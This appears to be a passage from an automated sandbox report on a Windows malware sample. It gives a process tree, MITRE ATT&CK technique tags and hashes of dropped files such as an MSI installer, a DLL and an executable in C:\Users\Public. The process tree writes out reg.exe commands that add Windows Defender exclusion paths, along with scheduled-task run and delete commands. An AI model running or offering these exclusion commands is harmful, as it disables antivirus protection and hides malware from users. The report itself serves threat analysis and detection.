- Scheduled Task/Job: Scheduled Task
PID:1600
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2392
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3224
-
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4320
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:3668
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2908
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2688
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4504
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5870d7.rbs
- Size 7KB
- SHA256 ba328977ffe97936840a9febc90a49bd40974302cff7f2082c2c284c6f2b0d38
- MD5 bc5c93147498ea03cabf8798d8495e30
- SHA1 0ea6720a1dcc3b52c20b166b2fb25cb97362008b
- SHA512 e315983aa34da6908651f3caaec90dc8e11567832201f28125dcb607d41565c54befa8568bb7f768f3350a379347b155ab4e3f9b79d75e9efb41892f50414a0f
- SSDEEP 96:7VDk4uu1eCUxUUadD21CsThqK/UadD21C6jdAsDThqKjHYIK5RPWELEyE/YwzCK7:7VY4edzGD2IIBsGD2ISBIHtI5SKpZ
- TLSH T187F1FF46B20481E2E9D77730CF271B263BB3D3E49314630B4ADE84749E4738D6EA619E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\qVqO05\UxEnhance64.dll
- Size 3.1MB
- SHA256 1be66d67e0b736a17620e9ed3732caa6d01d4c9635e836fe0d74286ef5c96e3b
- MD5 e3199816a063fa5aadad6b0522f4165e
- SHA1 33c8de5c4f326b4c0d6780355ad94258ea2d8232
- SHA512 906b8fef9a2b6e47f144167471c6f65b99acb9ae014bfb2348d8f6cf41b75cbeb1fc1149f27c18f2489080e0428a1dec39b8a39a083c2c9d46810c0c482a55b1
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+F:P9m29xx3Tiqt06ox6+z2rNNrKoF
- TLSH T173E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\qVqO05\adoresd.dat
- Size 4.8MB
- SHA256 3b7606736d5f97ef2230a957e7e54838bc8885f4fd4daad8cab6df1d2251a34c
- MD5 9c3e6314f8e188ec6777cd042915d588
- SHA1 72ef2019d21ada5cd0710ba65b9a95030e8dc4f9
- SHA512 27b60ddf3c8e59632d2856ae45d804c01755dc15a5d708fc533bfc5a0c5ced07ab131632b7a35c0a89ed997e785b4bce40d518c5c18b1ac8720ca51f11128833
- SSDEEP 98304:auZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:XQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T14B363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\qVqO05\msadox.tb
- Size 8KB
- SHA256 56ac43503ba775118897fe6218ecff3a7bc83516dfcd95ee5afb369abf5a3dfb
- MD5 cafb1cfc1d25b3511a7a4d345dd37e22
- SHA1 b0cbd1e83449a9190efa79883288dbc623946348
- SHA512 453e64981dce717ea071c28a106c28c74eede09703669d659efaa5239148c33742b9e7c8e7a033239d9164bd17ccaa0a3a576bb6870b1a46fa7c48f9169427d9
- SSDEEP 192:gqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:gsZqZOXQ3uqvR2Kfzp
- TLSH T151029E05D7A20CC3E6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\qVqO05\nMbNhq.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI728C.tmp
- Size 6.8MB
- SHA256 c2e426e6175d2cdfc07c4540c7dc5d7e41cc35a785e9d56af16b01692b2ac72e
- MD5 5d78307450196206d5a82c04fa48ba23
- SHA1 2cb3f7fb16a25fffa8da7a9ef78f73ba11545c27
- SHA512 4a98434477b77b599d0b6f287fd9fe591d9f49c8d456e0f61b12b032091fe949c75d9b1be03295262db2c41d9dbced73fa0c592db132e76ce57f0535f0b0e3fe
- SSDEEP 196608:AMGo4N62fIcA8YP3nqvLjXomUiTYR6a0ySCURiIt9PF:g71QcVYYL0mUiw0yU
- TLSH T1877633D6BCDA2678E09BD7B05507717E312E3BE03E265C5172E92E186E33B1B40B6709
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5870d6.msi
- Size 6.8MB
- SHA256 e4ac3902d68ac3cb3950c265aa641117413470b55d3f8a88b78eebe282ffe5b9
- MD5 b9952028579af1bc8f332276c8803481
- SHA1 15fdf3ca442f186620620b9bef901dd2a1d43f65
- SHA512 1fa5240b47d1c44244a6cbaed88ac34138dcd713da18e386ee3822bc290f0f22a144269b61f2fc89e2c13a1a42dade3fdedd9efbe8c566b3f9f8366781ed8508
- SSDEEP 196608:7MGo4N62fIcA8YP3nqvLjXojUiTYR6a0ySCURiIt9Pi:H71QcVYYL0jUiw0y/
- TLSH T1FC7633D6BCDA2675D09BD7B05507A17E313E3FE03E269C5272E93A086E33B2740B6605
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 08fcfb6eeee1218e9c1ffe4839ae716d3438dbdd5bbf68b68e119e00e66a8bf3
- MD5 3d7aea444c2aad2dc420cbeb91b1ebb1
- SHA1 5c7acab78738b9dba99f92e6c4e042887696ced9
- SHA512 4a9f2b6aaac3c9b1441aa80f909a3950abf2bc2e600db16f8d2fac0bcfba1b00964cedc257acae19c5246e87c7972806f8d73340e510a0f79eb5063eb612cfc6
- SSDEEP 24576:Xu8m+1zndoO/vvTLbWhuEGalg4kzZ1hSdnGdT+AVpUqwu2YMo/F4ZHaRk:r
- TLSH T1F747D32437F92200E7F79F3DACF06A23493A7D5B9C159E8D45411B4E0921BB1E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{09fb9164-7f94-499d-92fd-9d1adc2ee7ab}_OnDiskSnapshotProp
- Size 6KB
- SHA256 5edad42de020461a57ca9245974109da21dad295bdad2a2ad06f30ccf6467279
- MD5 644e6b1627c671f5a7cc23d14d645b77
- SHA1 69773137e59b17b9c5c409abaa1e587c6fdbc40e
- SHA512 7073dee154f2664be54b6db51f174090209708f85d5f4bbb0ca18f38d7c853950b4e175fdb8da7a196793cf4acde873eaacac045435c686114544182cd888f71
- SSDEEP 96:FlDEVhvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:f6b++ZVm
- TLSH T1DCD19A184AE54311E2B3AB7229F14557A877B811EF33CB8E0198238E2670A10F876F5F
- MD5 SHA1 SHA512 SSDEEP TLSH